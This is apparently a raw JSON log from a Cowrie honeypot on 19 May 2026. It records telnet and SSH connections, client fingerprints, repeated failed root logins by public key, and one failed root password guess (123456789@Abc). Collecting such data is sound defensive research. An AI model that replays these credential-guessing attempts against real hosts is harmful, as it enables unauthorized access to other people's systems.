{"eventid":"cowrie.session.closed","duration":50.46809673309326,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:31.777993Z","src_ip":"192.119.13.58","session":"04d3c04102eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.90464186668396,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:35.585788Z","src_ip":"192.119.13.58","session":"5dd3716840c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.099788427352905,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:40.145243Z","src_ip":"192.119.13.58","session":"f10ff75e1a20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58580,"dst_ip":"10.17.0.5","dst_port":23,"session":"855d2ab0d439","protocol":"telnet","message":"New connection: 192.119.13.58:58580 (10.17.0.5:23) [session: 855d2ab0d439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:45.154416Z"}
{"eventid":"cowrie.session.closed","duration":54.65580153465271,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:45.937394Z","src_ip":"192.119.13.58","session":"66f949e256c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35628,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d15fa958ebf","protocol":"telnet","message":"New connection: 192.119.13.58:35628 (10.17.0.5:23) [session: 2d15fa958ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:46.424760Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44670,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba6631fbb766","protocol":"telnet","message":"New connection: 192.119.13.58:44670 (10.17.0.5:23) [session: ba6631fbb766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:48.763491Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51626,"dst_ip":"10.17.0.5","dst_port":23,"session":"241a7c947553","protocol":"telnet","message":"New connection: 192.119.13.58:51626 (10.17.0.5:23) [session: 241a7c947553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:51.474684Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58390,"dst_ip":"10.17.0.5","dst_port":23,"session":"687f6fb072b4","protocol":"telnet","message":"New connection: 192.119.13.58:58390 (10.17.0.5:23) [session: 687f6fb072b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:52.001485Z"}
{"eventid":"cowrie.session.closed","duration":32.2845253944397,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:52.248430Z","src_ip":"192.119.13.58","session":"b69c2466e380","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"153.67.107.72","src_port":31524,"dst_ip":"10.17.0.5","dst_port":22,"session":"e217853bab88","protocol":"ssh","message":"New connection: 153.67.107.72:31524 (10.17.0.5:22) [session: e217853bab88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:52.533682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:52.541478Z","src_ip":"153.67.107.72","session":"e217853bab88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:52.673297Z","src_ip":"153.67.107.72","session":"e217853bab88","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:f9:70:90:74:22:8f:a3:36:44:98:8c:cd:f1:e1:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCipvL5DBWUJyFZ3CFAsMw7ZgUvHEnvK10ZAtlSXrRmsKWW9k2ZHkAMuMc/Z4LHMDxsNjA/SWaY7k+hvF9A26Qsqf5Rbk88XfTdviEfYo0G9x+S8tUkvW8jV5LbjRpVBk+DHQkE/4MRBLrt+0N5QDP5dTizgrb4a0HV+S44ZPDBQFn6b3kbwVwz9MacX3xSdKeLDv4fhjb74ibvlsQ6nXV4pI7lOjx5DvyMV9trB0VLvSjJhKIkoAHpKj5rTKrNscXUqAWqR0vGz+rvzIo1+dC0KZXiK1A3QVamTXb+GXyuAbdzmVcvZwiH64zUQ1PvtfmYuKtSTJIri9oIgcE9LOHp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:f9:70:90:74:22:8f:a3:36:44:98:8c:cd:f1:e1:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:53.338128Z","src_ip":"153.67.107.72","session":"e217853bab88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:f9:70:90:74:22:8f:a3:36:44:98:8c:cd:f1:e1:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCipvL5DBWUJyFZ3CFAsMw7ZgUvHEnvK10ZAtlSXrRmsKWW9k2ZHkAMuMc/Z4LHMDxsNjA/SWaY7k+hvF9A26Qsqf5Rbk88XfTdviEfYo0G9x+S8tUkvW8jV5LbjRpVBk+DHQkE/4MRBLrt+0N5QDP5dTizgrb4a0HV+S44ZPDBQFn6b3kbwVwz9MacX3xSdKeLDv4fhjb74ibvlsQ6nXV4pI7lOjx5DvyMV9trB0VLvSjJhKIkoAHpKj5rTKrNscXUqAWqR0vGz+rvzIo1+dC0KZXiK1A3QVamTXb+GXyuAbdzmVcvZwiH64zUQ1PvtfmYuKtSTJIri9oIgcE9LOHp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:53.342013Z","src_ip":"153.67.107.72","session":"e217853bab88","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:fc:3c:c4:4e:f2:19:44:c5:48:46:dc:44:7a:d9:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKnNvBy68AifDWs8N7LRBg/j2lkEqss0ts8ryAv4gOK9QcpCdvuFHpX7Jo2BTC3qYxE1EHwqmlN6l0W9cxYZ70EEJ8OZXlaO/e2Gwt8lco0vZFChnHE5Dk9giuHpO/rFItnm7JMFrvpyKZy5T3osq6Uj4/8e53ei1ePH2MHYp805l8j+eDgOObBMIzVxSHXytb0xRDetvuR7LYzCJpTH+CGN0Fv/dQ3bKxxKr1S48ISy6+7IFnPfUNnXHva2LbtJm0KrsuPJnW5o2DVTZwB3fpSTdQ2wpmK5O0U/eQ25n25k9q1g1+sC94x4L3YI3rOUYjiW888bMe7e/hMwJlBLnfNba7MBO8UE9XLwGq+x/NZK1kgCzn97KWO/vsg+yuHh+Bx7kxCiCxdM6IncPIVRfa5VafHX1dR9Ilr+UzONC+7H5lRxDhuF6qGxO+QeefZUWJNozh2GdNlooMHe83VwHoDOqDNcwVji9CBEfzaa2eo5ZYC+pgZbFdwaOVOTmW5YUz5wlwZTp7AGOOY/pjXrkNWeGAS3hWcNE10hR+4ohx64TunSlU6CEeLwxJ01UqaIAwG2u56Zj4TiAHTLqPB7kaYDYytvuKGDWf3SGeDCddx5xlbRuzbYGfLxt16s0pNpEKqiyTusw0HsRgtbVKP92nynTrsHREmWOkFAIiAkSVLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:fc:3c:c4:4e:f2:19:44:c5:48:46:dc:44:7a:d9:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:53.482401Z","src_ip":"153.67.107.72","session":"e217853bab88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:fc:3c:c4:4e:f2:19:44:c5:48:46:dc:44:7a:d9:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKnNvBy68AifDWs8N7LRBg/j2lkEqss0ts8ryAv4gOK9QcpCdvuFHpX7Jo2BTC3qYxE1EHwqmlN6l0W9cxYZ70EEJ8OZXlaO/e2Gwt8lco0vZFChnHE5Dk9giuHpO/rFItnm7JMFrvpyKZy5T3osq6Uj4/8e53ei1ePH2MHYp805l8j+eDgOObBMIzVxSHXytb0xRDetvuR7LYzCJpTH+CGN0Fv/dQ3bKxxKr1S48ISy6+7IFnPfUNnXHva2LbtJm0KrsuPJnW5o2DVTZwB3fpSTdQ2wpmK5O0U/eQ25n25k9q1g1+sC94x4L3YI3rOUYjiW888bMe7e/hMwJlBLnfNba7MBO8UE9XLwGq+x/NZK1kgCzn97KWO/vsg+yuHh+Bx7kxCiCxdM6IncPIVRfa5VafHX1dR9Ilr+UzONC+7H5lRxDhuF6qGxO+QeefZUWJNozh2GdNlooMHe83VwHoDOqDNcwVji9CBEfzaa2eo5ZYC+pgZbFdwaOVOTmW5YUz5wlwZTp7AGOOY/pjXrkNWeGAS3hWcNE10hR+4ohx64TunSlU6CEeLwxJ01UqaIAwG2u56Zj4TiAHTLqPB7kaYDYytvuKGDWf3SGeDCddx5xlbRuzbYGfLxt16s0pNpEKqiyTusw0HsRgtbVKP92nynTrsHREmWOkFAIiAkSVLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:53.490277Z","src_ip":"153.67.107.72","session":"e217853bab88","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:24:67:1b:a0:a0:aa:23:57:14:90:8a:74:af:38:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEkUjp1agIjt7KQJPYZVUekDa+02hznNnTvns/agAcMcntPn7AaQEtUzTJJF0AYs0c5oAXqKtWaadvESjVJt43DBFQpKkzZAQqBt8h1AuTdXIpif3CMkDPoXPxmIE3sTeaQToM0+8BPHvPCsX6Vr0ll7umf864DqyohMnfPDJHk2wgE+KSm3u2CMS9+GdVbO69doH4RtaE9qSj50O6v4ME+G8ZaRi53XPONdtqBYfWQjevg4T6cts8QW9fuub6tUtISO/MGjCv3weFAFzyPUFdXRv8XZU9Zt1s2CRiBQMsHheC9skGV4Rtzp2n+/3Tqp4enOhNlU+2GgryvcpDLYFHQQPmlqYoDDimUnuZUJXz0PA+BuVT2My2ye02RkBBPpl+2a8ULpf6G5CvmCr59WGlrBBJn+ZFt0XVumMkjgWDVzmGVfuTl3+3tI080QccATfrjOVBJMScKuUlNcxHfInE/qBIRovkxo0Mdl4x54jIN5mthgRyalmnHuk4ZsvewZ04+IkOGAoOjfpJnt0laOiYfT4fRg/sh2Qk6xHEGAU3kSUY8/AuxU+c2rehn3p0gq9fOajOTunAGCavAEyIB9CDbXJlMUpFUAGZr8I+5yYr9ppmjqR/yptFDeY1WWpTO416kfY7r2sG19HaC3xTQeBxl7M8Xto+C8yk1xUQibkQLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:24:67:1b:a0:a0:aa:23:57:14:90:8a:74:af:38:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:53.622262Z","src_ip":"153.67.107.72","session":"e217853bab88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:24:67:1b:a0:a0:aa:23:57:14:90:8a:74:af:38:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEkUjp1agIjt7KQJPYZVUekDa+02hznNnTvns/agAcMcntPn7AaQEtUzTJJF0AYs0c5oAXqKtWaadvESjVJt43DBFQpKkzZAQqBt8h1AuTdXIpif3CMkDPoXPxmIE3sTeaQToM0+8BPHvPCsX6Vr0ll7umf864DqyohMnfPDJHk2wgE+KSm3u2CMS9+GdVbO69doH4RtaE9qSj50O6v4ME+G8ZaRi53XPONdtqBYfWQjevg4T6cts8QW9fuub6tUtISO/MGjCv3weFAFzyPUFdXRv8XZU9Zt1s2CRiBQMsHheC9skGV4Rtzp2n+/3Tqp4enOhNlU+2GgryvcpDLYFHQQPmlqYoDDimUnuZUJXz0PA+BuVT2My2ye02RkBBPpl+2a8ULpf6G5CvmCr59WGlrBBJn+ZFt0XVumMkjgWDVzmGVfuTl3+3tI080QccATfrjOVBJMScKuUlNcxHfInE/qBIRovkxo0Mdl4x54jIN5mthgRyalmnHuk4ZsvewZ04+IkOGAoOjfpJnt0laOiYfT4fRg/sh2Qk6xHEGAU3kSUY8/AuxU+c2rehn3p0gq9fOajOTunAGCavAEyIB9CDbXJlMUpFUAGZr8I+5yYr9ppmjqR/yptFDeY1WWpTO416kfY7r2sG19HaC3xTQeBxl7M8Xto+C8yk1xUQibkQLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:53.626694Z","src_ip":"153.67.107.72","session":"e217853bab88","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:79:64:9c:b0:32:3f:28:8e:5a:b6:9d:8a:15:14:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqMSgHTC9FnUaEhJ5TXmZ7y2uzFBc6ajmfOWDuvjPNEk+uYxGEjnfhr46xtZd2I4iBXu89w/Bm9md2lLaoB+zHSnE9h8cnaeam/fF52tGs0aiv2wdC3FJ/dkWQa8YhxWqUOKxnqITEvzLW00eTIhfYCOs+u3NOQi0kUu45YOBnyzZvvHG2CLKbpPNMsMnBrH5IvFDrddqnAnz14wqtfDbLiQ/LmnRZpRRQfH5+RqrbAABRZs+jO+YmPEAnezoUauGol//8VFPIjlSjOPGOyXHfu/vS1QZ8+rPBT5VEoWyBlN+fFoXxN5BqLVIGoDWpqow/3laIYYHn6TR1u86kePbXXkzf7d6bwrbudtk61Yhx3smTd4j+Px3RonZuaXP/Z75qD4/Ukm0luJe9GM2StB45GjkjOW5nt4od3d/XC/trjp5GDmJAfbbyYfj2PVTXPA4Sp4weJaeyJqJd46+oGSWtP8yLIWayayFIjomxV2EX6hq/z8CvCzoFmThRhNk7sSBTLJNxcouvB7nNuUUrStnvWiVf8/sNRaqDLX90JF6+09sOvyiZwiBN3z9Vza2UCcJkKB1IxB6mH4XcC/x5x9+s6tOcuoNA+C1lN2noHTDI1oxZix8w1/YTnYdxhSypXTvbaLduP+Go7/pCmUr+rp79RZGXT2F7em8aV3baP24fHw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:79:64:9c:b0:32:3f:28:8e:5a:b6:9d:8a:15:14:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:53.770291Z","src_ip":"153.67.107.72","session":"e217853bab88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:79:64:9c:b0:32:3f:28:8e:5a:b6:9d:8a:15:14:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqMSgHTC9FnUaEhJ5TXmZ7y2uzFBc6ajmfOWDuvjPNEk+uYxGEjnfhr46xtZd2I4iBXu89w/Bm9md2lLaoB+zHSnE9h8cnaeam/fF52tGs0aiv2wdC3FJ/dkWQa8YhxWqUOKxnqITEvzLW00eTIhfYCOs+u3NOQi0kUu45YOBnyzZvvHG2CLKbpPNMsMnBrH5IvFDrddqnAnz14wqtfDbLiQ/LmnRZpRRQfH5+RqrbAABRZs+jO+YmPEAnezoUauGol//8VFPIjlSjOPGOyXHfu/vS1QZ8+rPBT5VEoWyBlN+fFoXxN5BqLVIGoDWpqow/3laIYYHn6TR1u86kePbXXkzf7d6bwrbudtk61Yhx3smTd4j+Px3RonZuaXP/Z75qD4/Ukm0luJe9GM2StB45GjkjOW5nt4od3d/XC/trjp5GDmJAfbbyYfj2PVTXPA4Sp4weJaeyJqJd46+oGSWtP8yLIWayayFIjomxV2EX6hq/z8CvCzoFmThRhNk7sSBTLJNxcouvB7nNuUUrStnvWiVf8/sNRaqDLX90JF6+09sOvyiZwiBN3z9Vza2UCcJkKB1IxB6mH4XcC/x5x9+s6tOcuoNA+C1lN2noHTDI1oxZix8w1/YTnYdxhSypXTvbaLduP+Go7/pCmUr+rp79RZGXT2F7em8aV3baP24fHw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:53.775098Z","src_ip":"153.67.107.72","session":"e217853bab88","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:cc:59:44:1e:aa:b5:4b:2e:7e:4c:5f:de:f4:ef:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGxC+ppdThQww46XX5w+CdpIcpDBEQQkxHScUvks1ljRAlVuhEyFE1ovhv+yeEjWZUqUQJ27ayy4kzQX4PBGAKPezr6weij2HhS4+9gNnPZdlQ23E7b7Q2m0FDSEUx4I8fKumo9mPfE33uRiWUQHYnZDVp5yHGAqTeomUIX1PASvycH+vIg21L1vShN75mxqrhq5B48C4cbxvELYjGiivSoI8evTz/d8S4yv6SiJ549Y8j6Y5Q9+Q93J+AijcODemciErn4n9jGIDoIT/vRX52XSam1fqGkmVWHYjPgdzXwsx+zCMerpqoWRAX5eLQEs/ZU3MCW+fiePgG3ik7GAq1AqHLEk/Pot5RXiRSqhTpjkRyqVCgR3TDeP2u714PEzIDxhSPUgt6sBR4S3p+z7pHZ9YvR5JiQc+2M4TYzHd/lSZ1e4IK/cMXzgQ2w2u8SFwqs/Pbm1uYCy8njdpk30J/NzRoOTOZWo6EWAEyLl1yOTcLtce8roz0HJWmHGD0IpiJp+F05e0EmSUIVn4zIh/PSW037Up9mOQC/746oNwA/I3nAy/g1h52wxYNUTM+lVXIc5bfr8txcmhLXRraRTfFQ9JqIszFhxkRE6k4B5l9nQOHJDRuGDdn2OqZs8Xo9MxwUB7CpMmqde33Cg8yOtcMyxmWjW/LN2fV+VdM8IoeeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:cc:59:44:1e:aa:b5:4b:2e:7e:4c:5f:de:f4:ef:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:53.926128Z","src_ip":"153.67.107.72","session":"e217853bab88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:cc:59:44:1e:aa:b5:4b:2e:7e:4c:5f:de:f4:ef:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGxC+ppdThQww46XX5w+CdpIcpDBEQQkxHScUvks1ljRAlVuhEyFE1ovhv+yeEjWZUqUQJ27ayy4kzQX4PBGAKPezr6weij2HhS4+9gNnPZdlQ23E7b7Q2m0FDSEUx4I8fKumo9mPfE33uRiWUQHYnZDVp5yHGAqTeomUIX1PASvycH+vIg21L1vShN75mxqrhq5B48C4cbxvELYjGiivSoI8evTz/d8S4yv6SiJ549Y8j6Y5Q9+Q93J+AijcODemciErn4n9jGIDoIT/vRX52XSam1fqGkmVWHYjPgdzXwsx+zCMerpqoWRAX5eLQEs/ZU3MCW+fiePgG3ik7GAq1AqHLEk/Pot5RXiRSqhTpjkRyqVCgR3TDeP2u714PEzIDxhSPUgt6sBR4S3p+z7pHZ9YvR5JiQc+2M4TYzHd/lSZ1e4IK/cMXzgQ2w2u8SFwqs/Pbm1uYCy8njdpk30J/NzRoOTOZWo6EWAEyLl1yOTcLtce8roz0HJWmHGD0IpiJp+F05e0EmSUIVn4zIh/PSW037Up9mOQC/746oNwA/I3nAy/g1h52wxYNUTM+lVXIc5bfr8txcmhLXRraRTfFQ9JqIszFhxkRE6k4B5l9nQOHJDRuGDdn2OqZs8Xo9MxwUB7CpMmqde33Cg8yOtcMyxmWjW/LN2fV+VdM8IoeeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:53.930117Z","src_ip":"153.67.107.72","session":"e217853bab88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:54.070371Z","src_ip":"153.67.107.72","session":"e217853bab88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":33278,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fc62223ea48","protocol":"ssh","message":"New connection: 103.164.9.74:33278 (10.17.0.5:22) [session: 5fc62223ea48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:55.239686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:55.244743Z","src_ip":"103.164.9.74","session":"5fc62223ea48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:55.447615Z","src_ip":"103.164.9.74","session":"5fc62223ea48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789@Abc","message":"login attempt [root/123456789@Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:56.280020Z","src_ip":"103.164.9.74","session":"5fc62223ea48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:57.484509Z","src_ip":"103.164.9.74","session":"5fc62223ea48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56304,"dst_ip":"10.17.0.5","dst_port":23,"session":"186afd458c11","protocol":"telnet","message":"New connection: 192.119.13.58:56304 (10.17.0.5:23) [session: 186afd458c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:58.452609Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56466,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee40b412f710","protocol":"telnet","message":"New connection: 192.119.13.58:56466 (10.17.0.5:23) [session: ee40b412f710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:58.493003Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":41264,"dst_ip":"159.203.135.109","dst_port":22,"session":"11ee6b5da5ea","protocol":"ssh","message":"New connection: 116.110.11.66:41264 (159.203.135.109:22) [session: 11ee6b5da5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:59.315902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:59.321491Z","src_ip":"116.110.11.66","session":"11ee6b5da5ea","protocol":"ssh"}
